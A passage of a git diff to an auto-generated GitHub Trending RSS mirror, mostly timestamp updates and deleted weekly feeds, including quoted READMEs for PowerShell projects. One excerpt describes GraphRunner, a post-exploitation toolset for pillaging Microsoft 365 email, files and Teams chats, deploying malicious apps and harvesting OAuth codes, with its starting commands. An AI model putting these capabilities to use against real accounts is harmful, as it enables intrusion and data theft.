a/pod/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Pod Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:59:22Z - Weekly Trending of Pod in GitHub - - \ No newline at end of file diff --git a/pogoscript/daily/index.xml b/pogoscript/daily/index.xml index fa96e581a45..e1da54fbb6a 100644 --- a/pogoscript/daily/index.xml +++ b/pogoscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub PogoScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:39:26Z + 2023-10-30T01:33:44Z Daily Trending of PogoScript in GitHub \ No newline at end of file diff --git a/pogoscript/weekly/index.xml b/pogoscript/weekly/index.xml deleted file mode 100644 index e61a8d2d787..00000000000 --- a/pogoscript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub PogoScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:59:26Z - Weekly Trending of PogoScript in GitHub - - \ No newline at end of file diff --git a/pony/daily/index.xml b/pony/daily/index.xml index 60577344347..58b5f06507c 100644 --- a/pony/daily/index.xml +++ b/pony/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pony Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:39:24Z + 2023-10-30T01:33:43Z Daily Trending of Pony in GitHub \ No newline at end of file diff --git a/pony/weekly/index.xml b/pony/weekly/index.xml deleted file mode 100644 index af788877221..00000000000 --- a/pony/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Pony Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:59:25Z - Weekly Trending of Pony in GitHub - - \ No newline at end of file diff --git a/postcss/daily/index.xml b/postcss/daily/index.xml index 2710c2535ed..ee3149e9cee 100644 --- a/postcss/daily/index.xml +++ b/postcss/daily/index.xml @@ -1,7 +1,7 @@ GitHub PostCSS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:39:28Z + 2023-10-30T01:33:46Z Daily Trending of PostCSS in GitHub \ No newline at end of file diff --git a/postcss/weekly/index.xml b/postcss/weekly/index.xml deleted file mode 100644 index c3b0478336d..00000000000 --- a/postcss/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub PostCSS Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:59:29Z - Weekly Trending of PostCSS in GitHub - - \ No newline at end of file diff --git a/postscript/daily/index.xml b/postscript/daily/index.xml index e4e737d3e50..4b6a54751b1 100644 --- a/postscript/daily/index.xml +++ b/postscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub PostScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:39:30Z + 2023-10-30T01:33:47Z Daily Trending of PostScript in GitHub \ No newline at end of file diff --git a/postscript/weekly/index.xml b/postscript/weekly/index.xml deleted file mode 100644 index 413a493a891..00000000000 --- a/postscript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub PostScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:59:31Z - Weekly Trending of PostScript in GitHub - - \ No newline at end of file diff --git a/pov-ray-sdl/daily/index.xml b/pov-ray-sdl/daily/index.xml index 6490776b0b3..58bb849f42f 100644 --- a/pov-ray-sdl/daily/index.xml +++ b/pov-ray-sdl/daily/index.xml @@ -1,7 +1,7 @@ GitHub POV-Ray SDL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:39:29Z + 2023-10-30T01:33:47Z Daily Trending of POV-Ray SDL in GitHub \ No newline at end of file diff --git a/pov-ray-sdl/weekly/index.xml b/pov-ray-sdl/weekly/index.xml deleted file mode 100644 index a093e7bc1e3..00000000000 --- a/pov-ray-sdl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub POV-Ray SDL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:59:31Z - Weekly Trending of POV-Ray SDL in GitHub - - \ No newline at end of file diff --git a/powerbuilder/daily/index.xml b/powerbuilder/daily/index.xml index f837d755b78..5091dc5d35d 100644 --- a/powerbuilder/daily/index.xml +++ b/powerbuilder/daily/index.xml @@ -1,7 +1,7 @@ GitHub PowerBuilder Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:39:32Z + 2023-10-30T01:33:48Z Daily Trending of PowerBuilder in GitHub \ No newline at end of file diff --git a/powerbuilder/weekly/index.xml b/powerbuilder/weekly/index.xml deleted file mode 100644 index a14f27e95c7..00000000000 --- a/powerbuilder/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub PowerBuilder Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:59:34Z - Weekly Trending of PowerBuilder in GitHub - - \ No newline at end of file diff --git a/powershell/daily/index.xml b/powershell/daily/index.xml index 1bb0e7dee0c..c69c8b93eeb 100644 --- a/powershell/daily/index.xml +++ b/powershell/daily/index.xml @@ -1,21 +1,7 @@ GitHub PowerShell Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:39:37Z + 2023-10-30T01:33:52Z Daily Trending of PowerShell in GitHub - - MicrosoftDocs/intellicode - 2023-10-29T01:39:37Z - tag:github.com,2023-10-29:/MicrosoftDocs/intellicode - - <p>Visual Studio IntelliCode - AI-enhanced development tools. 👋Want to submit an issue to MicrosoftDocs/intellicode? If you have a bug or an idea, read the contributing guidelines before opening an issue. For FAQ's see</p><hr><h2>Microsoft Open Source Code of Conduct</h2> <p>This project has adopted the <a href="https://opensource.microsoft.com/codeofconduct/">Microsoft Open Source Code of Conduct</a>. For more information see the <a href="https://opensource.microsoft.com/codeofconduct/faq/">Code of Conduct FAQ</a> or contact <a href="mailto:opencode@microsoft.com">opencode@microsoft.com</a> with any additional questions or comments.</p> - - - ballerina-platform/setup-ballerina - 2023-10-29T01:39:37Z - tag:github.com,2023-10-29:/ballerina-platform/setup-ballerina - - <p>Set up your GitHub Actions workflow with a specific Ballerina version</p><hr><p><a href="https://github.com/ballerina-platform/setup-ballerina/actions/workflows/test-ubuntu.yml"><img src="https://github.com/ballerina-platform/setup-ballerina/actions/workflows/test-ubuntu.yml/badge.svg?branch=main" alt="Test Ubuntu"></a> <a href="https://github.com/ballerina-platform/setup-ballerina/actions/workflows/test-windows.yml"><img src="https://github.com/ballerina-platform/setup-ballerina/actions/workflows/test-windows.yml/badge.svg?branch=main" alt="Test Windows"></a> <a href="https://github.com/ballerina-platform/setup-ballerina/actions/workflows/test-macos.yml"><img src="https://github.com/ballerina-platform/setup-ballerina/actions/workflows/test-macos.yml/badge.svg?branch=main" alt="Test Action"></a> <a href="https://github.com/ballerina-platform/setup-ballerina/raw/main/LICENSE"><img src="https://img.shields.io/github/license/ballerina-platform/setup-ballerina" alt="GitHub license"></a> <a href="https://github.com/ballerina-platform/setup-ballerina/issues"><img src="https://img.shields.io/github/issues/ballerina-platform/setup-ballerina" alt="GitHub issues"></a></p> <h1>Setup Ballerina</h1> <p>This Github action installs <a href="https://ballerina.io">Ballerina</a>'s build system and package manager command; the <code>bal</code> command.</p> <h2>Inputs</h2> <table> <thead> <tr> <th>Input</th> <th>Description</th> <th>Required</th> </tr> </thead> <tbody> <tr> <td><em>version</em></td> <td>Ballerina SwanLake Version</td> <td>yes</td> </tr> </tbody> </table> <h2>Usage</h2> <p><em><strong>Note</strong>: This action is supported on all operating systems (<code>ubuntu</code>, <code>macos</code>, <code>windows</code>)</em></p> <h3>Ubuntu</h3> <pre><code class="language-yaml"> runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - uses: ballerina-platform/setup-ballerina@v1 name: Install Ballerina with: version: 2201.3.2 - run: bal version - run: bal run hello.bal </code></pre> <p><a href="https://github.com/ballerina-platform/setup-ballerina/actions/workflows/test-ubuntu.yml"><img src="https://github.com/ballerina-platform/setup-ballerina/actions/workflows/test-ubuntu.yml/badge.svg?branch=main" alt="Test Ubuntu"></a> <a href="https://github.com/ballerina-platform/setup-ballerina/raw/main/.github/workflows/test-ubuntu.yml"><img src="https://img.shields.io/badge/-Source-blue" alt="Source"></a></p> <h3>MacOs</h3> <pre><code class="language-yaml"> runs-on: macos-latest steps: - uses: actions/checkout@v2 - uses: ballerina-platform/setup-ballerina@v1 name: Install Ballerina with: version: 2201.3.2 - run: bal version - run: bal run hello.bal </code></pre> <p><a href="https://github.com/ballerina-platform/setup-ballerina/actions/workflows/test-macos.yml"><img src="https://github.com/ballerina-platform/setup-ballerina/actions/workflows/test-macos.yml/badge.svg?branch=main" alt="Test Action"></a> <a href="https://github.com/ballerina-platform/setup-ballerina/raw/main/.github/workflows/test-macos.yml"><img src="https://img.shields.io/badge/-Source-blue" alt="Source"></a></p> <h3>Windows</h3> <pre><code class="language-yaml"> runs-on: windows-latest steps: - uses: actions/checkout@v2 - uses: ballerina-platform/setup-ballerina@v1 name: Install Ballerina with: version: 2201.3.2 - run: bal version - run: bal run hello.bal </code></pre> <p><a href="https://github.com/ballerina-platform/setup-ballerina/actions/workflows/test-windows.yml"><img src="https://github.com/ballerina-platform/setup-ballerina/actions/workflows/test-windows.yml/badge.svg?branch=main" alt="Test Windows"></a> <a href="https://github.com/ballerina-platform/setup-ballerina/raw/main/.github/workflows/test-windows.yml"><img src="https://img.shields.io/badge/-Source-blue" alt="Source"></a></p> <h2>License</h2> <p>The scripts and documentation in this project are released under the <a href="https://github.com/ballerina-platform/setup-ballerina/raw/main/LICENSE">Apache License</a>.</p> - \ No newline at end of file diff --git a/powershell/weekly/index.xml b/powershell/weekly/index.xml deleted file mode 100644 index 07fd7ff4bd6..00000000000 --- a/powershell/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub PowerShell Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:59:37Z - Weekly Trending of PowerShell in GitHub - - - dafthack/GraphRunner - 2023-10-29T01:59:37Z - tag:github.com,2023-10-29:/dafthack/GraphRunner - - <p>A Post-exploitation Toolset for Interacting with the Microsoft Graph API</p><hr><h1>GraphRunner</h1> <p><img src="https://github.com/dafthack/GraphRunner/assets/2296229/d9b6843c-8c69-4d9d-bed4-38e5e2269574" alt="GraphRunner"></p> <p>GraphRunner is a post-exploitation toolset for interacting with the Microsoft Graph API. It provides various tools for performing reconnaissance, persistence, and pillaging of data from a Microsoft Entra ID (Azure AD) account.</p> <p>It consists of three separate parts:</p> <ul> <li>A PowerShell script where the majority of modules are located</li> <li>An HTML GUI that can leverage an access token to navigate and pillage a user's account</li> <li>A simple PHP redirector for harvesting authentication codes during an OAuth flow</li> </ul> <hr> <h2>Main Features</h2> <ul> <li>Search and export email</li> <li>Search and export SharePoint and OneDrive files accessible to a user</li> <li>Search all Teams chats and channels visible to the user and export full conversations</li> <li>Deploy malicious apps</li> <li>Discover misconfigured mailboxes that are exposed</li> <li>Clone security groups to carry out watering hole attacks</li> <li>Find groups that can be modified directly by your user or where membership rules can be abused to gain access</li> <li>Search all user attributes for specific terms</li> <li>Leverage a GUI built on the Graph API to pillage a user's account</li> <li>Dump conditional access policies</li> <li>Dump app registrations and external apps including consent and scope to identify potentially malicious apps</li> <li>Tools to complete OAuth flow during consent grant attacks</li> <li>GraphRunner doesn't rely on any third-party libraries or modules</li> <li>Works with Windows and Linux</li> <li>Continuously refresh your token package</li> </ul> <hr> <h2>Usage</h2> <p>As GraphRunner is a post-exploitation tool most of the modules rely on having authenticated access tokens. To assist with this there are multiple modules for obtaining and working with both user and application (service principal) tokens.</p> <p>A good starting place is to import the PowerShell script and run the Get-GraphTokens module.</p> <pre><code class="language-PowerShell">Import-Module .\GraphRunner.ps1 Get-GraphTokens </code></pre> <p>Next, check out the <a href="https://github.com/dafthack/GraphRunner/wiki">wiki</a> for the full user guide and information about individual modules.</p> - - - Gerenios/AADInternals - 2023-10-29T01:59:37Z - tag:github.com,2023-10-29:/Gerenios/AADInternals - - <p>AADInternals PowerShell module for administering Azure AD and Office 365</p><hr><h1>AADInternals</h1> <p>AADInternals is PowerShell module for administering Azure AD and Office 365</p> <p>For details, please visit <a href="https://aadinternals.com/aadinternals">https://aadinternals.com/aadinternals</a></p> <h2>Installation</h2> <p>Run the following PowerShell command to install</p> <pre><code>Install-Module AADInternals </code></pre> - - - scipag/HardeningKitty - 2023-10-29T01:59:37Z - tag:github.com,2023-10-29:/scipag/HardeningKitty - - <p>HardeningKitty - Checks and hardens your Windows configuration</p><hr><h1>HardeningKitty</h1> <p>This is the stable version of <em>HardeningKitty</em> from the <a href="https://github.com/0x6d69636b/windows_hardening">Windows Hardening Project by Michael Schneider</a>. The stable version of <em>HardeningKitty</em> is signed with the code signing certificate of <em>scip AG</em>. <strong>Since this is the stable version, we do not accept pull requests in this repo, please send them to the <a href="https://github.com/0x6d69636b/windows_hardening">development repo</a></strong>.</p> <p><em>HardeningKitty</em> supports hardening of a Windows system. The configuration of the system is retrieved and assessed using a finding list. In addition, the system can be hardened according to predefined values. <em>HardeningKitty</em> reads settings from the registry and uses other modules to read configurations outside the registry.</p> <p>The script was developed for English systems. It is possible that in other languages the analysis is incorrect. Please create an issue if this occurs.</p> <h2>How to Run</h2> <p>Run the script with administrative privileges to access machine settings. For the user settings it is better to execute them with a normal user account. Ideally, the user account is used for daily work.</p> <p>Download <em>HardeningKitty</em> and copy it to the target system (script and lists). Then HardeningKitty can be imported and executed:</p> <pre><code class="language-powershell">PS C:\tmp&gt; Import-Module .\HardeningKitty.psm1 PS C:\tmp&gt; Invoke-HardeningKitty -EmojiSupport =^._.^= _( )/ HardeningKitty 0.9.0-1662273740 [*] 9/4/2022 8:54:12 AM - Starting HardeningKitty [*] 9/4/2022 8:54:12 AM - Getting user information [*] Hostname: DESKTOP-DG83TOD [*] Domain: WORKGROUP ... [*] [*] 9/4/2022 8:54:12 AM - Starting Category Account Policies [😺] ID 1103, Store passwords using reversible encryption, Result=0, Severity=Passed [😺] ID 1100, Account lockout threshold, Result=10, Severity=Passed [😺] ID 1101, Account lockout duration, Result=30, Severity=Passed ... [*] 9/4/2022 8:54:12 AM - Starting Category User Rights Assignment [😿] ID 1200, Access this computer from the network, Result=BUILTIN\Administrators;BUILTIN\Users, Recommended=BUILTIN\Administrators, Severity=Medium ... [*] 9/4/2022 8:54:14 AM - Starting Category Administrative Templates: Printer [🙀] ID 1764, Point and Print Restrictions: When installing drivers for a new connection (CVE-2021-34527), Result=1, Recommended=0, Severity=High [🙀] ID 1765, Point and Print Restrictions: When updating drivers for an existing connection (CVE-2021-34527), Result=2, Recommended=0, Severity=High ... [*] 9/4/2022 8:54:19 AM - Starting Category MS Security Guide [😿] ID 2200, LSA Protection, Result=, Recommended=1, Severity=Medium [😼] ID 2201, Lsass.exe audit mode, Result=, Recommended=8, Severity=Low ... [*] 9/4/2022 8:54:25 AM - HardeningKitty is done [*] 9/4/2022 8:54:25 AM - Your HardeningKitty score is: 4.82. HardeningKitty Statistics: Total checks: 325 - Passed: 213, Low: 33, Medium: 76, High: 3. </code></pre> <h2>How To Install</h2> <p>First create the directory <em>HardeningKitty</em> and for every version a sub directory like <em>0.9.0</em> in a path listed in the <em>PSModulePath</em> environment variable.</p> <p>Copy the module <em>HardeningKitty.psm1</em>, <em>HardeningKitty.psd1</em>, and the <em>lists</em> directory to this new directory.</p> <pre><code class="language-powershell">PS C:\tmp&gt; $Version = "0.9.0" PS C:\tmp&gt; New-Item -Path $Env:ProgramFiles\WindowsPowerShell\Modules\HardeningKitty\$Version -ItemType Directory PS C:\tmp&gt; Copy-Item -Path .\HardeningKitty.psd1,.\HardeningKitty.psm1,.\lists\ -Destination $Env:ProgramFiles\WindowsPowerShell\Modules\HardeningKitty\$Version\ -Recurse </code></pre> <p>For more information see Microsoft's article <a href="https://docs.microsoft.com/en-us/powershell/scripting/developer/module/installing-a-powershell-module">Installing a PowerShell Module</a>.</p> <h3>How to Automatically Download and Install the Latest Release</h3> <p>You can use the script below to download and install the latest release of <em>HardeningKitty</em>.</p> <pre><code class="language-powershell">Function InstallHardeningKitty() { $Version = ((Invoke-WebRequest "https://api.github.com/repos/0x6d69636b/windows_hardening/releases/latest" -UseBasicParsing) | ConvertFrom-Json).Name $HardeningKittyLatestVersionDownloadLink = ((Invoke-WebRequest "https://api.github.com/repos/0x6d69636b/windows_hardening/releases/latest" -UseBasicParsing) | ConvertFrom-Json).zipball_url $ProgressPreference = 'SilentlyContinue' Invoke-WebRequest $HardeningKittyLatestVersionDownloadLink -Out HardeningKitty$Version.zip Expand-Archive -Path ".\HardeningKitty$Version.zip" -Destination ".\HardeningKitty$Version" -Force $Folder = Get-ChildItem .\HardeningKitty$Version | Select-Object Name -ExpandProperty Name Move-Item ".\HardeningKitty$Version\$Folder\*" ".\HardeningKitty$Version\" Remove-Item ".\HardeningKitty$Version\$Folder\" New-Item -Path $Env:ProgramFiles\WindowsPowerShell\Modules\HardeningKitty\$Version -ItemType Directory Set-Location .\HardeningKitty$Version Copy-Item -Path .\HardeningKitty.psd1,.\HardeningKitty.psm1,.\lists\ -Destination $Env:ProgramFiles\WindowsPowerShell\Modules\HardeningKitty\$Version\ -Recurse Import-Module "$Env:ProgramFiles\WindowsPowerShell\Modules\HardeningKitty\$Version\HardeningKitty.psm1" } InstallHardeningKitty </code></pre> <h3>Examples</h3> <h4>Audit</h4> <p>HardeningKitty performs an audit, saves the results in a CSV file and creates a log file. The files are automatically named and receive a timestamp. Using the parameters <em>ReportFile</em> or <em>LogFile</em>, it is also possible to assign your own name and path.</p> <p>The <em>Filter</em> parameter can be used to filter the hardening list. For this purpose the PowerShell ScriptBlock syntax must be used, for example <code>{ $_.ID -eq 4505 }</code>. The following elements are useful for filtering: ID, Category, Name, Method, and Severity.</p> <pre><code class="language-powershell">Invoke-HardeningKitty -Mode Audit -Log -Report </code></pre> <p>HardeningKitty can be executed with a specific list defined by the parameter <em>FileFindingList</em>. If HardeningKitty is run several times on the same system, it may be useful to hide the machine information. The parameter <em>SkipMachineInformation</em> is used for this purpose.</p> <pre><code class="language-powershell">Invoke-HardeningKitty -FileFindingList .\lists\finding_list_0x6d69636b_user.csv -SkipMachineInformation </code></pre> <p>HardeningKitty uses the default list, and saves the results in a specific file.</p> <pre><code class="language-powershell">Invoke-HardeningKitty -Mode Config -Report -ReportFile C:\tmp\my_hardeningkitty_report.csv </code></pre> <p>HardeningKitty uses the default list, and checks only tests with the severity Medium.</p> <pre><code class="language-powershell">Invoke-HardeningKitty -Filter { $_.Severity -eq "Medium" } </code></pre> <h4>Backup</h4> <p>Backups are important. Really important. Therefore, HardeningKitty also has a function to retrieve the current configuration and save it in a form that can be partially restored.</p> <p><strong>Disclaimer:</strong> HardeningKitty tries to restore the original configuration. This works quite well with registry keys and Hardening Kitty really tries its best. But the backup function is not a snapshot and does not replace a real system backup. It is not possible to restore the system 1:1 with HardeningKitty alone after HailMary. If this is a requirement, create an image or system backup and restore it.</p> <p>The <em>Backup</em> switch specifies that the file is written in form of a finding list and can thus be used for the <em>HailMary</em> mode. The name and path of the backup can be specified with the parameter <em>BackupFile</em>.</p> <pre><code class="language-powershell">Invoke-HardeningKitty -Mode Config -Backup </code></pre> <p>Please test this function to see if it really works properly on the target system before making any serious changes. A Schrödinger's backup is dangerous.</p> <h5>Non-Default Finding List</h5> <p>Note that if <em>-FileFindingList</em> is not specified, the backup is referred to the default finding list. Before deploying a <em>specific</em> list in <em>HailMary</em> mode, always create a backup <em>referred to that specific list</em>.</p> <pre><code class="language-powershell">Invoke-HardeningKitty -Mode Config -Backup -BackupFile ".\myBackup.csv" -FileFindingList ".\list\{list}.csv" </code></pre> <h5>Restoring a Backup</h5> <p>The <em>Backup</em> switch creates a file in form of a finding list, to restore the backup load it in <em>HailMary</em> mode like any find list:</p> <pre><code class="language-powershell">Invoke-HardeningKitty -Mode HailMary -Log -Report -FileFindingList ".\myBackup.csv" </code></pre> <h4>HailMary</h4> <p>The <em>HailMary</em> method is very powerful. It can be used to deploy a finding list on a system. All findings are set on this system as recommended in the list. With power comes responsibility. Please use this mode only if you know what you are doing. Be sure to have a backup of the system.</p> <pre><code class="language-powershell">Invoke-HardeningKitty -Mode HailMary -Log -Report -FileFindingList .\lists\finding_list_0x6d69636b_machine.csv </code></pre> <p>Before HailMary is run, a finding list must be picked. It is important to check whether the settings have an influence on the stability and functionality of the system. Before running HailMary, a backup should be made.</p> <h4>Create a Group Policy (experimental)</h4> <p>Thanks to <a href="https://github.com/gderybel">@gderybel</a>, HardeningKitty can convert a finding list into a group policy. At the moment only registry settings can be converted and not everything has been tested yet. A new policy is created, as long as it is not assigned to an object, no change is made to the system. Use it with care.</p> <pre><code class="language-powershell">Invoke-HardeningKitty -Mode GPO -FileFindingList .\lists\finding_list_0x6d69636b_machine.csv -GPOName HardeningKitty-Machine-01 </code></pre> <h2>HardeningKitty Score</h2> <p>Each Passed finding gives 4 points, a Low finding gives 2 points, a Medium finding gives 1 point and a High Finding gives 0 points.</p> <p>The formula for the HardeningKitty Score is <em>(Points achieved / Maximum points) * 5 + 1</em>.</p> <h3>Rating</h3> <table> <thead> <tr> <th align="left">Score</th> <th align="left">Rating Casual</th> <th align="left">Rating Professional</th> </tr> </thead> <tbody> <tr> <td align="left">6</td> <td align="left">😹 Excellent</td> <td align="left">Excellent</td> </tr> <tr> <td align="left">5</td> <td align="left">😺 Well done</td> <td align="left">Good</td> </tr> <tr> <td align="left">4</td> <td align="left">😼 Sufficient</td> <td align="left">Sufficient</td> </tr> <tr> <td align="left">3</td> <td align="left">😿 You should do better</td> <td align="left">Insufficient</td> </tr> <tr> <td align="left">2</td> <td align="left">🙀 Weak</td> <td align="left">Insufficient</td> </tr> <tr> <td align="left">1</td> <td align="left">😾 Bogus</td> <td align="left">Insufficient</td> </tr> </tbody> </table> <h2>HardeningKitty Interface</h2> <p><a href="https://github.com/ataumo">ataumo</a> build a web based interface for HardeningKitty. The tool can be used to create your own lists and provides additional information on the hardening settings. The <a href="https://github.com/ataumo/policies_hardening_interface">source code</a> is under AGPL license and there is a <a href="https://phi.cryptonit.fr/policies_hardening_interface/">demo site</a>.</p> <h3>Last Update</h3> <p>HardeningKitty can be used to audit systems against the following baselines / benchmarks:</p> <table> <thead> <tr> <th align="left">Name</th> <th align="left">System Version</th> <th align="left">Version</th> </tr> </thead> <tbody> <tr> <td align="left">0x6d69636b Windows 10 (Machine)</td> <td align="left">22H2</td> <td align="left"></td> </tr> <tr> <td align="left">0x6d69636b Windows 10 (User)</td> <td align="left">22H2</td> <td align="left"></td> </tr> <tr> <td align="left">BSI SiSyPHuS Windows 10 hoher Schutzbedarf Domänenmitglied (Machine)</td> <td align="left">1809</td> <td align="left">1.0</td> </tr> <tr> <td align="left">BSI SiSyPHuS Windows 10 hoher Schutzbedarf Domänenmitglied (User)</td> <td align="left">1809</td> <td align="left">1.0</td> </tr> <tr> <td align="left">BSI SiSyPHuS Windows 10 normaler Schutzbedarf Domänenmitglied (Machine)</td> <td align="left">1809</td> <td align="left">1.0</td> </tr> <tr> <td align="left">BSI SiSyPHuS Windows 10 normaler Schutzbedarf Domänenmitglied (User)</td> <td align="left">1809</td> <td align="left">1.0</td> </tr> <tr> <td align="left">BSI SiSyPHuS Windows 10 normaler Schutzbedarf Einzelrechner (Machine)</td> <td align="left">1809</td> <td align="left">1.0</td> </tr> <tr> <td align="left">BSI SiSyPHuS Windows 10 normaler Schutzbedarf Einzelrechner (User)</td> <td align="left">1809</td> <td align="left">1.0</td> </tr> <tr> <td align="left">CIS Microsoft Windows 10 Enterprise (Machine)</td> <td align="left">1809</td> <td align="left">1.6.1</td> </tr> <tr> <td align="left">CIS Microsoft Windows 10 Enterprise (User)</td> <td align="left">1809</td> <td align="left">1.6.1</td> </tr> <tr> <td align="left">CIS Microsoft Windows 10 Enterprise (Machine)</td> <td align="left">1903</td> <td align="left">1.7.1</td> </tr> <tr> <td align="left">CIS Microsoft Windows 10 Enterprise (User)</td> <td align="left">1903</td> <td align="left">1.7.1</td> </tr> <tr> <td align="left">CIS Microsoft Windows 10 Enterprise (Machine)</td> <td align="left">1909</td> <td align="left">1.8.1</td> </tr> <tr> <td align="left">CIS Microsoft Windows 10 Enterprise (User)</td> <td align="left">1909</td> <td align="left">1.8.1</td> </tr> <tr> <td align="left">CIS Microsoft Windows 10 Enterprise (Machine)</td> <td align="left">2004</td> <td align="left">1.9.1</td> </tr> <tr> <td align="left">CIS Microsoft Windows 10 Enterprise (User)</td> <td align="left">2004</td> <td align="left">1.9.1</td> </tr> <tr> <td align="left">CIS Microsoft Windows 10 Enterprise (Machine)</td> <td align="left">20H2</td> <td align="left">1.10.1</td> </tr> <tr> <td align="left">CIS Microsoft Windows 10 Enterprise (User)</td> <td align="left">20H2</td> <td align="left">1.10.1</td> </tr> <tr> <td align="left">CIS Microsoft Windows 10 Enterprise (Machine)</td> <td align="left">21H1</td> <td align="left">1.11.0</td> </tr> <tr> <td align="left">CIS Microsoft Windows 10 Enterprise (User)</td> <td align="left">21H1</td> <td align="left">1.11.0</td> </tr> <tr> <td align="left">CIS Microsoft Windows 10 Enterprise (Machine)</td> <td align="left">21H2</td> <td align="left">1.12.0</td> </tr> <tr> <td align="left">CIS Microsoft Windows 10 Enterprise (User)</td> <td align="left">21H2</td> <td align="left">1.12.0</td> </tr> <tr> <td align="left">CIS Microsoft Windows 10 Enterprise (Machine)</td> <td align="left">22H2</td> <td align="left">2.0.0</td> </tr> <tr> <td align="left">CIS Microsoft Windows 10 Enterprise (User)</td> <td align="left">22H2</td> <td align="left">2.0.0</td> </tr> <tr> <td align="left">CIS Microsoft Windows 11 Enterprise (Machine)</td> <td align="left">21H2</td> <td align="left">1.0.0</td> </tr> <tr> <td align="left">CIS Microsoft Windows 11 Enterprise (User)</td> <td align="left">21H2</td> <td align="left">1.0.0</td> </tr> <tr> <td align="left">CIS Microsoft Windows 11 Enterprise (Machine)</td> <td align="left">22H2</td> <td align="left">2.0.0</td> </tr> <tr> <td align="left">CIS Microsoft Windows 11 Enterprise (User)</td> <td align="left">22H2</td> <td align="left">2.0.0</td> </tr> <tr> <td align="left">CIS Microsoft Windows Server 2012 R2 (Machine)</td> <td align="left">R2</td> <td align="left">2.4.0</td> </tr> <tr> <td align="left">CIS Microsoft Windows Server 2012 R2 (User)</td> <td align="left">R2</td> <td align="left">2.4.0</td> </tr> <tr> <td align="left">CIS Microsoft Windows Server 2012 R2 (Machine)</td> <td align="left">R2</td> <td align="left">2.6.0</td> </tr> <tr> <td align="left">CIS Microsoft Windows Server 2012 R2 (User)</td> <td align="left">R2</td> <td align="left">2.6.0</td> </tr> <tr> <td align="left">CIS Microsoft Windows Server 2016 (Machine)</td> <td align="left">1607</td> <td align="left">1.2.0</td> </tr> <tr> <td align="left">CIS Microsoft Windows Server 2016 (User)</td> <td align="left">1607</td> <td align="left">1.2.0</td> </tr> <tr> <td align="left">CIS Microsoft Windows Server 2016 (Machine)</td> <td align="left">1607</td> <td align="left">1.3.0</td> </tr> <tr> <td align="left">CIS Microsoft Windows Server 2016 (User)</td> <td align="left">1607</td> <td align="left">1.3.0</td> </tr> <tr> <td align="left">CIS Microsoft Windows Server 2016 (Machine)</td> <td align="left">1607</td> <td align="left">2.0.0</td> </tr> <tr> <td align="left">CIS Microsoft Windows Server 2016 (User)</td> <td align="left">1607</td> <td align="left">2.0.0</td> </tr> <tr> <td align="left">CIS Microsoft Windows Server 2019 (Machine)</td> <td align="left">1809</td> <td align="left">1.1.0</td> </tr> <tr> <td align="left">CIS Microsoft Windows Server 2019 (User)</td> <td align="left">1809</td> <td align="left">1.1.0</td> </tr> <tr> <td align="left">CIS Microsoft Windows Server 2019 (Machine)</td> <td align="left">1809</td> <td align="left">1.2.1</td> </tr> <tr> <td align="left">CIS Microsoft Windows Server 2019 (User)</td> <td align="left">1809</td> <td align="left">1.2.1</td> </tr> <tr> <td align="left">CIS Microsoft Windows Server 2019 (Machine)</td> <td align="left">1809</td> <td align="left">2.0.0</td> </tr> <tr> <td align="left">CIS Microsoft Windows Server 2019 (User)</td> <td align="left">1809</td> <td align="left">2.0.0</td> </tr> <tr> <td align="left">CIS Microsoft Windows Server 2022 (Machine)</td> <td align="left">21H2</td> <td align="left">1.0.0</td> </tr> <tr> <td align="left">CIS Microsoft Windows Server 2022 (User)</td> <td align="left">21H2</td> <td align="left">1.0.0</td> </tr> <tr> <td align="left">CIS Microsoft Windows Server 2022 (Machine)</td> <td align="left">22H2</td> <td align="left">2.0.0</td> </tr> <tr> <td align="left">CIS Microsoft Windows Server 2022 (User)</td> <td align="left">22H2</td> <td align="left">2.0.0</td> </tr> <tr> <td align="left">DoD Microsoft Windows 10 STIG (Machine)</td> <td align="left">20H2</td> <td align="left">v2r1</td> </tr> <tr> <td align="left">DoD Microsoft Windows 10 STIG (User)</td> <td align="left">20H2</td> <td align="left">v2r1</td> </tr> <tr> <td align="left">DoD Windows Server 2019 Domain Controller STIG (Machine)</td> <td align="left">20H2</td> <td align="left">v2r1</td> </tr> <tr> <td align="left">DoD Windows Server 2019 Domain Controller STIG (User)</td> <td align="left">20H2</td> <td align="left">v2r1</td> </tr> <tr> <td align="left">DoD Windows Server 2019 Member Server STIG (Machine)</td> <td align="left">20H2</td> <td align="left">v2r1</td> </tr> <tr> <td align="left">DoD Windows Server 2019 Member Server STIG (User)</td> <td align="left">20H2</td> <td align="left">v2r1</td> </tr> <tr> <td align="left">DoD Windows Defender Antivirus STIG</td> <td align="left">20H2</td> <td align="left">v2r1</td> </tr> <tr> <td align="left">DoD Windows Firewall STIG</td> <td align="left">20H2</td> <td align="left">v1r7</td> </tr> <tr> <td 